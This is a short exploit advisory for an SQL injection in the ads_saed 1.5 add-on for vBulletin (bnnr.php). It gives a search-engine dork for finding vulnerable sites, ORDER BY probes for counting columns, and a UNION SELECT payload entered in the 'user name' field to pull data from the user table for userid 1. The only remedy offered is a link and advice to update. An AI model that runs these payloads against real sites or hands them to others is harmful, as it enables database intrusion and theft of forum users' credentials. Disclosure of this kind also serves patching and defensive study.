46 lines
No EOL
808 B
Text
46 lines
No EOL
808 B
Text
vBulletin ads_saed 1.5 (bnnr.php) SQL Injection Vulnerability
|
|
___________________________________
|
|
|
|
Author: Hussin X
|
|
|
|
Home : www.IQ-TY.com<http://www.IQ-TY.com>
|
|
|
|
Mail : darkangel_G85@yahoo.com<mailto:darkangel_G85@yahoo.com>
|
|
___________________________________
|
|
|
|
## script name : ads_saed
|
|
|
|
## d0rk : inurl:"vb/bnnr.php"
|
|
|
|
## Example :
|
|
|
|
|
|
Go to url : http://server/vb/bnnr.php<http://target.com/vb/bnnr.php>
|
|
|
|
Exploit in the input "user name" blind injection
|
|
|
|
user name = ' ORDER BY 15/*
|
|
|
|
user name = ' ORDER BY 16/*
|
|
|
|
Now go to Source page : " Unknown column '16' in 'order clause'"
|
|
|
|
|
|
exploit :
|
|
|
|
user name =
|
|
' UNION SELECT 1,2,3,4,5,4,7,8,9,10,11,12,13,14,15 FROM user where+userid=1/*
|
|
|
|
|
|
|
|
# Solution : See here
|
|
|
|
http://www.traidnt.net/vb/showthread.php?t=1102593
|
|
|
|
or update new Product
|
|
|
|
|
|
|
|
End
|
|
|
|
IQ-SecuritY FoRuM |